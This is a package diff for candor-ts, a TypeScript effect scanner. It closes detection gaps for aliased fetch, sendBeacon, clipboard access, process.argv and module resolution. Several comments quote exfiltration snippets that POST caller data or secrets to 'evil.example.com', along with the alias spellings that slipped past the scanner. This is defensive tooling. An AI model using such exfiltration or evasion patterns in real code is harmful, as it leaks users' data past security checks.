candor-ts 0.29.0 → 0.29.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scan-core.mjs +16 -2
- package/scan.mjs +277 -5
package/package.json
CHANGED
package/scan-core.mjs
CHANGED
|
@@ -60,7 +60,13 @@ export const KAPPA_RULES = [
|
|
|
60
60
|
// `receiveMessageOnPort` reads it. Covers `worker.postMessage`, `parentPort.postMessage`, and a
|
|
61
61
|
// `MessagePort`'s `.postMessage` (all typed from this module). `new Worker(...)` spawns the thread but
|
|
62
62
|
// construction is inert here (like the net-cluster ctors) — the message verbs are the IPC boundary.
|
|
63
|
-
|
|
63
|
+
// …AND `postMessageToThread`, node 22's MODULE-LEVEL send. The name is anchored, so the newer API
|
|
64
|
+
// slipped past a rule that already covered every other spelling: `parentPort.postMessage`,
|
|
65
|
+
// `worker.postMessage`, a `MessagePort`'s `.postMessage` and `receiveMessageOnPort` were all Ipc while
|
|
66
|
+
// `postMessageToThread(id, value)` — the same channel, addressed by thread id — read PURE. Found by
|
|
67
|
+
// enumerating each builtin's EXPORTS and diffing them against what the table charges, rather than by
|
|
68
|
+
// testing the spellings someone already thought of.
|
|
69
|
+
[/^(node:)?worker_threads$/, /^(postMessage|postMessageToThread|receiveMessageOnPort)$/, "Ipc"],
|
|
64
70
|
// node:cluster — `fork()` spawns a worker PROCESS and wires its IPC channel.
|
|
65
71
|
[/^(node:)?cluster$/, /^fork$/, "Ipc"],
|
|
66
72
|
// node:vm executes a runtime-supplied code STRING in-process — `runInThisContext`/`runInContext`/
|
|
@@ -162,7 +168,15 @@ export const KAPPA_RULES = [
|
|
|
162
168
|
// node:os identity reads — userInfo (the OS user record) and hostname (the machine name) are
|
|
163
169
|
// environment/host reads (Env), like System.getenv's host-identity cousins. The rest of node:os
|
|
164
170
|
// (platform/arch/cpus/totalmem/…) is inert host introspection, left pure.
|
|
165
|
-
|
|
171
|
+
// …AND `tmpdir`/`homedir`, which this list read as pure until a cross-engine parity sweep asked why.
|
|
172
|
+
// They are not introspection: node resolves `homedir()` from `$HOME` and `tmpdir()` from
|
|
173
|
+
// `$TMPDIR`/`$TMP`/`$TEMP`, so they are ENVIRONMENT VARIABLE READS behind a convenience name — the
|
|
174
|
+
// rule this line already applies to `userInfo`/`hostname`, and the reason `platform`/`arch` stay out.
|
|
175
|
+
// candor-rust charges the identical operations (`std::env::temp_dir`, `env::var("HOME")`,
|
|
176
|
+
// `env::current_dir`) as Env, so ts was the outlier AND inconsistent with ITSELF: `os.hostname()` was
|
|
177
|
+
// Env while `os.homedir()` was pure. MEASURED 2026-08-18: `deny Env` answered exit 0 over
|
|
178
|
+
// `os.homedir()`. `platform`/`arch`/`cpus` are untouched — they read no variable.
|
|
179
|
+
[/^(node:)?os$/, /^(userInfo|hostname|tmpdir|homedir)$/, "Env"],
|
|
166
180
|
[/^(argon2|bcrypt|bcryptjs)$/, null, "Rand"],
|
|
167
181
|
// The ORM tier — VERB-PRECISE (the CLASSIFIER discipline: tag the execution boundary, not
|
|
168
182
|
// builders; `createQueryBuilder` is pure, its `getMany`/`execute` is the I/O). Found on the
|
package/scan.mjs
CHANGED
|
@@ -2156,6 +2156,84 @@ const corruptDepPkgs = new Set();
|
|
|
2156
2156
|
if (allowJs) { compilerOptions.allowJs = true; compilerOptions.checkJs = false; }
|
|
2157
2157
|
const program = ts.createProgram(fileNames, compilerOptions);
|
|
2158
2158
|
const checker = program.getTypeChecker();
|
|
2159
|
+
|
|
2160
|
+
/** A LOCAL ALIAS OF A GLOBAL IS STILL THAT GLOBAL — unwrap the binding to the node it was bound FROM.
|
|
2161
|
+
*
|
|
2162
|
+
* The global classifiers key on the callee/ctor NODE TEXT (`callee.text === "fetch"`,
|
|
2163
|
+
* `ctorName === "WebSocket"`), so `const send = fetch; send(url)` and `const W = WebSocket; new W(url)`
|
|
2164
|
+
* matched nothing and read PURE. Measured on published 0.29.0: `deny Net` answered exit 0 over a POST of
|
|
2165
|
+
* caller data to an external host.
|
|
2166
|
+
*
|
|
2167
|
+
* DEFINED ONCE, ON PURPOSE. This defect has now appeared in three spellings — the bare identifier, the
|
|
2168
|
+
* `globalThis.` qualifier, and the alias — each fixed where it was found. A second private copy of this
|
|
2169
|
+
* unwrap is how the fourth spelling gets missed, so the call path and the `new` path share this.
|
|
2170
|
+
*
|
|
2171
|
+
* Returns the INITIALIZER NODE, never a name, so every caller's existing shadow guard still decides: a
|
|
2172
|
+
* project-local `fetch` reached through an alias resolves to a project-local declaration and fabricates
|
|
2173
|
+
* nothing. Bounded to 4 hops and only through identifier/property-access initializers — a rebinding,
|
|
2174
|
+
* never a computed value, so this never follows a call or a conditional into a wrong answer.
|
|
2175
|
+
*/
|
|
2176
|
+
// 16, not 4: the bound exists to stop pathological input, not to decide real code. At 4 a FIVE-deep
|
|
2177
|
+
// chain tripped the fail-closed arm and charged Unknown — truthful (the analysis did stop looking)
|
|
2178
|
+
// but imprecise, and it would have fired on an ordinary chain of renamed PURE helpers too. Set it
|
|
2179
|
+
// where hand-written code never reaches it, so the honest-but-vague answer is reserved for input
|
|
2180
|
+
// that is actually pathological.
|
|
2181
|
+
const ALIAS_HOPS = 16;
|
|
2182
|
+
/** Symbols REASSIGNED somewhere in a file — `send = fetch`, `send = helper`. Built once per file.
|
|
2183
|
+
*
|
|
2184
|
+
* The unwrap below reads a declaration's INITIALIZER, and an initializer is not a value: for
|
|
2185
|
+
* `let send = fetch; send = helper; send(url)` it answered `fetch` and charged Net over a call that
|
|
2186
|
+
* reaches a pure local — a FABRICATION this fix introduced, which 0.29.0 did not have. The mirror case
|
|
2187
|
+
* is worse: `let send; send = fetch; send(url)` has no initializer at all, so the unwrap returned the
|
|
2188
|
+
* bare identifier and the call read silent-pure — the cardinal-sin spelling of the very defect the
|
|
2189
|
+
* unwrap exists to close.
|
|
2190
|
+
*
|
|
2191
|
+
* One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
|
|
2192
|
+
* know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
|
|
2193
|
+
* too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
|
|
2194
|
+
const reassignedCache = new WeakMap();
|
|
2195
|
+
const reassignedIn = (sf) => {
|
|
2196
|
+
let set = reassignedCache.get(sf);
|
|
2197
|
+
if (set) return set;
|
|
2198
|
+
set = new Set();
|
|
2199
|
+
const walk = (n) => {
|
|
2200
|
+
if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
|
|
2201
|
+
&& ts.isIdentifier(n.left)) {
|
|
2202
|
+
const sym = checker.getSymbolAtLocation(n.left);
|
|
2203
|
+
if (sym) set.add(sym);
|
|
2204
|
+
}
|
|
2205
|
+
ts.forEachChild(n, walk);
|
|
2206
|
+
};
|
|
2207
|
+
walk(sf);
|
|
2208
|
+
reassignedCache.set(sf, set);
|
|
2209
|
+
return set;
|
|
2210
|
+
};
|
|
2211
|
+
const unaliasGlobal = (expr) => {
|
|
2212
|
+
let hop = 0;
|
|
2213
|
+
for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
|
|
2214
|
+
const sym = checker.getSymbolAtLocation(expr);
|
|
2215
|
+
const decl = (sym?.declarations ?? [])[0];
|
|
2216
|
+
// ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is available, so say so.
|
|
2217
|
+
if (sym && decl && reassignedIn(decl.getSourceFile()).has(sym)) return { node: expr, truncated: true };
|
|
2218
|
+
if (!decl || !ts.isVariableDeclaration(decl) || !decl.initializer) return { node: expr, truncated: false };
|
|
2219
|
+
const init = decl.initializer;
|
|
2220
|
+
if (!ts.isIdentifier(init) && !ts.isPropertyAccessExpression(init)) return { node: expr, truncated: false };
|
|
2221
|
+
expr = init;
|
|
2222
|
+
}
|
|
2223
|
+
// THE BOUND MUST FAIL CLOSED. Stopping because the CHAIN ENDED is an answer; stopping because the
|
|
2224
|
+
// BUDGET ended is not — and the first cut of this helper returned the same thing for both, so a
|
|
2225
|
+
// 5-deep alias chain read PURE while a 4-deep one read Net. That is my own fix failing open at its
|
|
2226
|
+
// own edge: a cliff where the analysis silently stops looking. `truncated` says which happened, and
|
|
2227
|
+
// the callers charge Unknown on it — the posture this engine already takes for a callee it cannot
|
|
2228
|
+
// resolve (a parameter call reports Unknown, never nothing).
|
|
2229
|
+
const stillGoing = ts.isIdentifier(expr)
|
|
2230
|
+
&& (() => {
|
|
2231
|
+
const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
|
|
2232
|
+
return !!d && ts.isVariableDeclaration(d) && !!d.initializer
|
|
2233
|
+
&& (ts.isIdentifier(d.initializer) || ts.isPropertyAccessExpression(d.initializer));
|
|
2234
|
+
})();
|
|
2235
|
+
return { node: expr, truncated: hop >= ALIAS_HOPS && stillGoing };
|
|
2236
|
+
};
|
|
2159
2237
|
const projectFiles = new Set(fileNames.map((f) => path.resolve(f)));
|
|
2160
2238
|
const sources = program.getSourceFiles().filter((f) => projectFiles.has(path.resolve(f.fileName)));
|
|
2161
2239
|
|
|
@@ -4062,6 +4140,18 @@ const identIsGlobalProcess = (id) => {
|
|
|
4062
4140
|
const isProcessEnvExpr = (expr) =>
|
|
4063
4141
|
expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
|
|
4064
4142
|
|
|
4143
|
+
// …AND `process.argv`, which is the same channel. §1 defines Env as "reading environment variables /
|
|
4144
|
+
// THE PROCESS ENVIRONMENT", and argv is process-startup state delivered by the same `exec` call that
|
|
4145
|
+
// delivers envp — secrets arrive through it (`--token=…`) exactly as they do through a variable.
|
|
4146
|
+
// candor-rust has always charged `std::env::args()` as Env; ts and swift read it as PURE, so a
|
|
4147
|
+
// cross-engine parity sweep found the three engines answering one question two ways, with NO
|
|
4148
|
+
// conformance row to catch it. This is conformance to §1's existing wording, not a new clause.
|
|
4149
|
+
// (The adjacent java ruling does NOT transfer: `System.getProperty` is excluded there because charging
|
|
4150
|
+
// it "flooded a scala-library scan with a spurious 14k Env" — JVM `-D` config read pervasively at
|
|
4151
|
+
// class-init. `argv` is read once in a main.)
|
|
4152
|
+
const isProcessArgvExpr = (expr) =>
|
|
4153
|
+
expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "argv" && identIsGlobalProcess(expr.expression);
|
|
4154
|
+
|
|
4065
4155
|
// The set of local-binding SYMBOLS that alias process.env — collected below, one pre-pass over the
|
|
4066
4156
|
// sources. A symbol lands here iff its ONLY initializer/assignment is `= process.env` (a reassignment
|
|
4067
4157
|
// to anything else removes it → the alias is cleared, per the spec's reassignment rule).
|
|
@@ -4622,12 +4712,50 @@ function visitCalls(node) {
|
|
|
4622
4712
|
else rec.incomplete.add("Net");
|
|
4623
4713
|
}
|
|
4624
4714
|
}
|
|
4715
|
+
// `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
|
|
4716
|
+
// data to a server on page-unload, it is what analytics and telemetry reach for, and it read
|
|
4717
|
+
// PURE: `deny Net` answered exit 0 over
|
|
4718
|
+
// navigator.sendBeacon("https://evil.example.com/collect", data)
|
|
4719
|
+
// on published 0.29.0. Found by sweeping the ALIAS spelling across every effect-global — the
|
|
4720
|
+
// alias was the question, and the DIRECT call turned out to be missing too.
|
|
4721
|
+
// The URL is argument 0. No literal ⇒ `incomplete: Net`, the same fail-closed posture the
|
|
4722
|
+
// `open`/ctor branches take, so a runtime endpoint cannot be certified by an allowlist.
|
|
4723
|
+
// `navigator.clipboard.writeText/readText/write/read` — Clipboard, a §6.1 BOUNDARY effect:
|
|
4724
|
+
// data leaves the program on write and arrives from outside it on read. The family rolled
|
|
4725
|
+
// Clipboard out everywhere (candor-swift charges NSPasteboard in both directions, candor-rust
|
|
4726
|
+
// charges arboard), and the WEB clipboard was the hole: it read PURE, so
|
|
4727
|
+
// await navigator.clipboard.writeText(secret) under `deny Clipboard` → exit 0, policy ✓
|
|
4728
|
+
// on published 0.29.0. Found by sweeping every effect-bearing global rather than the one that
|
|
4729
|
+
// prompted the sweep. `clipboardy` was never affected — an import resolves through κ.
|
|
4730
|
+
if (parent === "Clipboard"
|
|
4731
|
+
&& (name === "writeText" || name === "readText" || name === "write" || name === "read")) {
|
|
4732
|
+
rec.direct.add("Clipboard");
|
|
4733
|
+
}
|
|
4734
|
+
if (parent === "Navigator" && name === "sendBeacon") {
|
|
4735
|
+
rec.direct.add("Net");
|
|
4736
|
+
const u = (node.arguments ?? [])[0];
|
|
4737
|
+
const lit = u && ts.isStringLiteralLike(u)
|
|
4738
|
+
? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
|
|
4739
|
+
const h = lit ? hostLiteral(lit) : null;
|
|
4740
|
+
if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
|
|
4741
|
+
else rec.incomplete.add("Net");
|
|
4742
|
+
}
|
|
4743
|
+
// `crypto.getRandomValues(buf)` — the Web Crypto RNG is Rand, and `Rand` is in the vocabulary.
|
|
4744
|
+
// Node's `randomBytes` was already charged because it arrives through an IMPORT; the browser
|
|
4745
|
+
// global resolves to lib.dom and was charged nothing, so `deny Rand` passed over it.
|
|
4746
|
+
if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
|
|
4747
|
+
rec.direct.add("Rand");
|
|
4748
|
+
}
|
|
4625
4749
|
// `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
|
|
4626
4750
|
// `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
|
|
4627
4751
|
// branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
|
|
4628
4752
|
// so the constructed identifier is the real browser global.
|
|
4629
4753
|
if (ts.isNewExpression(node)) {
|
|
4630
|
-
const
|
|
4754
|
+
// …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
|
|
4755
|
+
// Same defect as the call path, one node type over — hence the SHARED unwrap.
|
|
4756
|
+
const unCtor = unaliasGlobal(node.expression);
|
|
4757
|
+
const ctorName = unCtor.node.getText();
|
|
4758
|
+
if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
|
|
4631
4759
|
if (ctorName === "EventSource" || ctorName === "WebSocket") {
|
|
4632
4760
|
rec.direct.add("Net");
|
|
4633
4761
|
// The URL is argument 0 of both constructors — see the XHR note above for the measurement.
|
|
@@ -4947,6 +5075,11 @@ function visitCalls(node) {
|
|
|
4947
5075
|
// on process.env or a confirmed alias, destructuring a key off it, and the `in` membership test.
|
|
4948
5076
|
{
|
|
4949
5077
|
const markEnv = () => { const owner = enclosing(node); if (owner) fns.get(owner).direct.add("Env"); };
|
|
5078
|
+
// `process.argv` — the same channel, and the same ruling candor-rust has always applied to
|
|
5079
|
+
// `std::env::args()`. Reading the ARRAY is the read: `process.argv[2]`, `process.argv.slice(2)`,
|
|
5080
|
+
// `const [,,x] = process.argv`, or handing it to a parser all reach the same process-startup state.
|
|
5081
|
+
// Marked on the expression itself so every idiom counts without enumerating them.
|
|
5082
|
+
if (isProcessArgvExpr(node)) markEnv();
|
|
4950
5083
|
// `process.env.KEY` / `env.KEY` (dot) and `process.env["KEY"]` / `env[k]` (bracket, literal OR dynamic key).
|
|
4951
5084
|
if ((ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node)) && readsProcessEnv(node.expression)) {
|
|
4952
5085
|
markEnv();
|
|
@@ -4981,7 +5114,33 @@ function visitCalls(node) {
|
|
|
4981
5114
|
// callee — `process.*` by exact text (mirroring the process.env match), `fetch` by identifier whose
|
|
4982
5115
|
// symbol is NOT a local declaration (so a project's own `fetch` shadow never fabricates Net).
|
|
4983
5116
|
if (ts.isCallExpression(node)) {
|
|
4984
|
-
|
|
5117
|
+
// …AND THROUGH A LOCAL ALIAS OF THE GLOBAL, which is the spelling this block kept missing.
|
|
5118
|
+
//
|
|
5119
|
+
// Every test below reads the CALLEE NODE — `callee.text === "fetch"`, `ctext === "globalThis.fetch"`.
|
|
5120
|
+
// `const send = fetch; send(url)` has callee `send`, so it matched nothing and the call vanished:
|
|
5121
|
+
//
|
|
5122
|
+
// export async function exfil(data: string) {
|
|
5123
|
+
// const send = fetch;
|
|
5124
|
+
// await send("https://evil.example.com/collect", { method: "POST", body: data });
|
|
5125
|
+
// }
|
|
5126
|
+
// deny Net → exit 0, `policy ✓`, 0 effectful functions MEASURED on published 0.29.0
|
|
5127
|
+
//
|
|
5128
|
+
// A POST of caller data to an external host, certified clean: the cardinal sin. It is also the THIRD
|
|
5129
|
+
// spelling of one defect — the comment below records `globalThis.fetch` "read silent-pure" until it
|
|
5130
|
+
// was added beside the bare identifier. Fixing the instance and not the class is what left this one.
|
|
5131
|
+
//
|
|
5132
|
+
// Imports were never affected (`const g = fs.readFileSync; g(p)` charges Fs, and so do the named and
|
|
5133
|
+
// destructured forms) because those resolve through the symbol table. Only the GLOBALS matched here
|
|
5134
|
+
// are keyed by text, so only they needed unwrapping. candor-rust and candor-swift both charge the
|
|
5135
|
+
// aliased form already; this was ts alone.
|
|
5136
|
+
//
|
|
5137
|
+
// SHADOW-SAFE, which is the whole reason the guards below test the symbol rather than the name: the
|
|
5138
|
+
// unwrap yields the INITIALIZER NODE, so `const send = fetch` where `fetch` is a project-local
|
|
5139
|
+
// declaration still fails the "not declared in this project" test and fabricates nothing. Bounded to
|
|
5140
|
+
// 4 hops, and only through a plain identifier/property-access initializer — a rebinding, never a
|
|
5141
|
+
// computed value, so nothing here follows a function call or a conditional into a wrong answer.
|
|
5142
|
+
const un = unaliasGlobal(node.expression);
|
|
5143
|
+
const callee = un.node;
|
|
4985
5144
|
const ctext = callee.getText().replace(/\s+/g, "");
|
|
4986
5145
|
let geff = null;
|
|
4987
5146
|
// The member path AFTER the global `process` object, or null: `process.hrtime` → "hrtime",
|
|
@@ -5005,15 +5164,70 @@ function visitCalls(node) {
|
|
|
5005
5164
|
else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
|
|
5006
5165
|
geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
|
|
5007
5166
|
|
|
5008
|
-
|
|
5009
|
-
|
|
5010
|
-
|
|
5167
|
+
// …AND `fetch` REACHED THROUGH AN IMPORT, which this guard was treating as the project's own.
|
|
5168
|
+
//
|
|
5169
|
+
// The guard asks "is this fetch declared in a project file?", so a project's own `fetch` never
|
|
5170
|
+
// fabricates Net. For `import { fetch } from "node-fetch-native/proxy"` the symbol's declaration is
|
|
5171
|
+
// the IMPORT SPECIFIER — which lives in the importing file, a project file — so the guard said yes
|
|
5172
|
+
// and withheld Net. Declared-in-a-project-file is not DEFINED-BY-the-project.
|
|
5173
|
+
//
|
|
5174
|
+
// MEASURED, and the shape is a MONOTONICITY VIOLATION:
|
|
5175
|
+
// without node_modules → `exfil` reports Unknown (honest — the import did not resolve)
|
|
5176
|
+
// WITH node_modules → `exfil` reports NOTHING, pure (silent)
|
|
5177
|
+
// Installing dependencies gives the analyzer MORE information and produced a LESS safe answer, and
|
|
5178
|
+
// `deny Net` certified `await fetch("https://evil.example.com/collect", {method:"POST", body:data})`.
|
|
5179
|
+
// Found on REAL code: giget's `_utils.download`, a function whose whole job is an HTTP download,
|
|
5180
|
+
// reported `['Fs']` alone with its 474 packages installed.
|
|
5181
|
+
//
|
|
5182
|
+
// Resolve THROUGH the alias: the aliased symbol's declaration says whether the project defines this,
|
|
5183
|
+
// and its NAME says whether it is `fetch` — so a renamed `import { fetch as nfn }` is caught too,
|
|
5184
|
+
// where the callee text is `nfn`. `import { fetch } from "./my-mock"` still lands in a project file
|
|
5185
|
+
// and still charges nothing.
|
|
5186
|
+
else if (ts.isIdentifier(callee) && (() => {
|
|
5187
|
+
const sym0 = checker.getSymbolAtLocation(callee);
|
|
5188
|
+
if (!sym0) return false;
|
|
5189
|
+
// WHERE DID IT COME FROM? The module SPECIFIER decides, not file-set membership. A RELATIVE
|
|
5190
|
+
// import is the project's own module by definition; a BARE specifier is a package. Keying on
|
|
5191
|
+
// `projectFiles` instead was wrong and the control caught it: scanning a single FILE leaves a
|
|
5192
|
+
// sibling `./mock` outside the analyzed set, so a project's own mock fabricated Net. The
|
|
5193
|
+
// specifier is the same thing κ classifies on, and it does not move with the scan's shape.
|
|
5194
|
+
for (const d of sym0.declarations ?? []) {
|
|
5195
|
+
const imp = ts.isImportSpecifier(d) ? d.parent?.parent?.parent
|
|
5196
|
+
: ts.isImportClause(d) ? d.parent
|
|
5197
|
+
: ts.isNamespaceImport(d) ? d.parent?.parent : null;
|
|
5198
|
+
const spec = imp && ts.isImportDeclaration(imp) ? imp.moduleSpecifier : null;
|
|
5199
|
+
if (spec && ts.isStringLiteralLike(spec)) {
|
|
5200
|
+
if (spec.text.startsWith(".") || spec.text.startsWith("/")) return false; // the project's own
|
|
5201
|
+
let t = sym0;
|
|
5202
|
+
if (t.flags & ts.SymbolFlags.Alias) { try { t = checker.getAliasedSymbol(t); } catch { /* unresolved */ } }
|
|
5203
|
+
if ((t?.getName?.() ?? callee.text) !== "fetch") return false;
|
|
5204
|
+
// …AND IT MUST BE SHAPED LIKE FETCH. The name alone is not evidence: a package exporting a pure
|
|
5205
|
+
// `fetch(key)` cache-getter was charged Net, and this file's own header says "resolve, don't
|
|
5206
|
+
// pattern-match". The checker already knows the answer — the web API returns `Promise<Response>`,
|
|
5207
|
+
// a cache-getter returns `{ key: string }` — so ask it rather than trusting the identifier.
|
|
5208
|
+
// Only the IMPORT rule is gated this way; the ambient global stays as it was, because it is
|
|
5209
|
+
// lib.dom's `fetch` by definition and would otherwise stop being charged wherever lib.dom is
|
|
5210
|
+
// absent. When no signature resolves at all, this returns false and the call falls through to
|
|
5211
|
+
// the unresolved-import path, which discloses Unknown — never a concrete effect on a guess.
|
|
5212
|
+
const rt = checker.getTypeAtLocation(callee);
|
|
5213
|
+
for (const sg of (rt?.getCallSignatures?.() ?? [])) {
|
|
5214
|
+
if (/\bResponse\b/.test(checker.typeToString(checker.getReturnTypeOfSignature(sg)))) return true;
|
|
5215
|
+
}
|
|
5216
|
+
return false;
|
|
5217
|
+
}
|
|
5218
|
+
}
|
|
5219
|
+
// Not an import at all: the ambient global, unless the project declares its own.
|
|
5220
|
+
if (callee.text !== "fetch") return false;
|
|
5221
|
+
return !(sym0.declarations ?? []).some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
|
|
5222
|
+
})())
|
|
5011
5223
|
geff = "Net";
|
|
5012
5224
|
// the fully-qualified global fetch — `globalThis.fetch`/`window.fetch`/`self.fetch` — is a
|
|
5013
5225
|
// PropertyAccess callee the bare-identifier guard above misses, so it read silent-pure. Mirror the
|
|
5014
5226
|
// `eval` global-qualifier handling (a runtime global a project would not shadow).
|
|
5015
5227
|
else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
|
|
5016
5228
|
geff = "Net";
|
|
5229
|
+
// An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
|
|
5230
|
+
if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
|
|
5017
5231
|
if (geff) {
|
|
5018
5232
|
const owner = enclosing(node);
|
|
5019
5233
|
if (owner) {
|
|
@@ -5057,6 +5271,64 @@ function visitCalls(node) {
|
|
|
5057
5271
|
const owner = enclosing(node);
|
|
5058
5272
|
if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add("reflect:require"); }
|
|
5059
5273
|
}
|
|
5274
|
+
// MODULE RESOLUTION READS THE FILESYSTEM — `require.resolve(m)`, `createRequire(u).resolve(m)`,
|
|
5275
|
+
// `import.meta.resolve(m)`. None of them EXECUTES the module (that is the `require(m)` arm above,
|
|
5276
|
+
// which discloses Unknown), but all three walk directories, read `package.json` files, and throw
|
|
5277
|
+
// MODULE_NOT_FOUND based on what they find: the answer is a function of what is on disk. It read PURE.
|
|
5278
|
+
//
|
|
5279
|
+
// Found by the MONOTONICITY oracle, and only by it: nypm's `doesDependencyExist` reported `Unknown`
|
|
5280
|
+
// with its dependencies absent and NOTHING once they were installed. (Two of that oracle's three
|
|
5281
|
+
// hits were legitimate refinements — consola resolving `string-width`/`strip-ansi` to genuinely pure
|
|
5282
|
+
// functions — so the instrument narrows the search, it does not decide.)
|
|
5283
|
+
//
|
|
5284
|
+
// INCOMPLETE, never a `paths` literal: the argument is a MODULE SPECIFIER, not a path, and the files
|
|
5285
|
+
// actually touched are a directory walk nobody wrote down. Publishing the specifier as a path would
|
|
5286
|
+
// fabricate a location; marking the surface incomplete is the fail-closed posture the masking guard
|
|
5287
|
+
// already takes for a runtime path, and the honest one for a call that reads unpredictable places.
|
|
5288
|
+
// Breadth measured before shipping: 2 of 34 cloned TS packages call these at all.
|
|
5289
|
+
{
|
|
5290
|
+
const ct2 = callee.getText().replace(/\s+/g, "");
|
|
5291
|
+
// SHADOW-GUARDED, like the `require(m)` arm one screen up — which this one originally was not.
|
|
5292
|
+
// Matching on TEXT alone charged Fs for a project's own `const require = { resolve: … }` shim, a
|
|
5293
|
+
// DI-injected `require` parameter, and a function merely NAMED `fakecreateRequire`. That is the
|
|
5294
|
+
// fabrication direction, in a rule whose sibling already carries the guard and says why: "a
|
|
5295
|
+
// project's own `require()` shadow never fabricates". Fixing an instance while its sibling
|
|
5296
|
+
// documents the class is this codebase's recurring failure, so the guard is reused verbatim.
|
|
5297
|
+
// RESOLVE THROUGH THE ALIAS — the same trap the `fetch` guard fell into. `import { createRequire }
|
|
5298
|
+
// from "node:module"` declares an ImportSpecifier IN THE IMPORTING FILE, so a declaration-site test
|
|
5299
|
+
// calls node's own function "the project's", and the first cut of this guard duly dropped the real
|
|
5300
|
+
// `createRequire(u).resolve(n)` to pure. What decides is where the symbol is DEFINED.
|
|
5301
|
+
const notProjectDeclared = (id) => {
|
|
5302
|
+
let sym = checker.getSymbolAtLocation(id);
|
|
5303
|
+
if (!sym) return true; // ambient global (node's `require`)
|
|
5304
|
+
if (sym.flags & ts.SymbolFlags.Alias) {
|
|
5305
|
+
try { sym = checker.getAliasedSymbol(sym); } catch { /* unresolved import — treat as external */ }
|
|
5306
|
+
}
|
|
5307
|
+
const decls = sym?.declarations ?? [];
|
|
5308
|
+
return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
|
|
5309
|
+
};
|
|
5310
|
+
const fromCreateRequire = (expr) => {
|
|
5311
|
+
if (!ts.isIdentifier(expr)) return false;
|
|
5312
|
+
const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
|
|
5313
|
+
if (!d || !ts.isVariableDeclaration(d) || !d.initializer) return false;
|
|
5314
|
+
if (!ts.isCallExpression(d.initializer)) return false;
|
|
5315
|
+
const ce = d.initializer.expression;
|
|
5316
|
+
// The CALLEE'S OWN NAME must be createRequire — `.endsWith` made `fakecreateRequire()` match.
|
|
5317
|
+
const nm = ts.isIdentifier(ce) ? ce.text
|
|
5318
|
+
: ts.isPropertyAccessExpression(ce) ? ce.name.text : "";
|
|
5319
|
+
if (nm !== "createRequire") return false;
|
|
5320
|
+
return !ts.isIdentifier(ce) || notProjectDeclared(ce);
|
|
5321
|
+
};
|
|
5322
|
+
const modResolve = ct2 === "import.meta.resolve"
|
|
5323
|
+
|| (ct2 === "require.resolve" && ts.isPropertyAccessExpression(callee)
|
|
5324
|
+
&& ts.isIdentifier(callee.expression) && notProjectDeclared(callee.expression))
|
|
5325
|
+
|| (ts.isPropertyAccessExpression(callee) && callee.name.text === "resolve"
|
|
5326
|
+
&& fromCreateRequire(callee.expression));
|
|
5327
|
+
if (modResolve) {
|
|
5328
|
+
const owner = enclosing(node);
|
|
5329
|
+
if (owner) { const r = fns.get(owner); r.direct.add("Fs"); r.incomplete.add("Fs"); }
|
|
5330
|
+
}
|
|
5331
|
+
}
|
|
5060
5332
|
// Object.assign(target, ...sources) copies each SOURCE's own enumerable props → invokes their
|
|
5061
5333
|
// getters (the object-spread twin). Enumerate the sources' local getters.
|
|
5062
5334
|
if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
|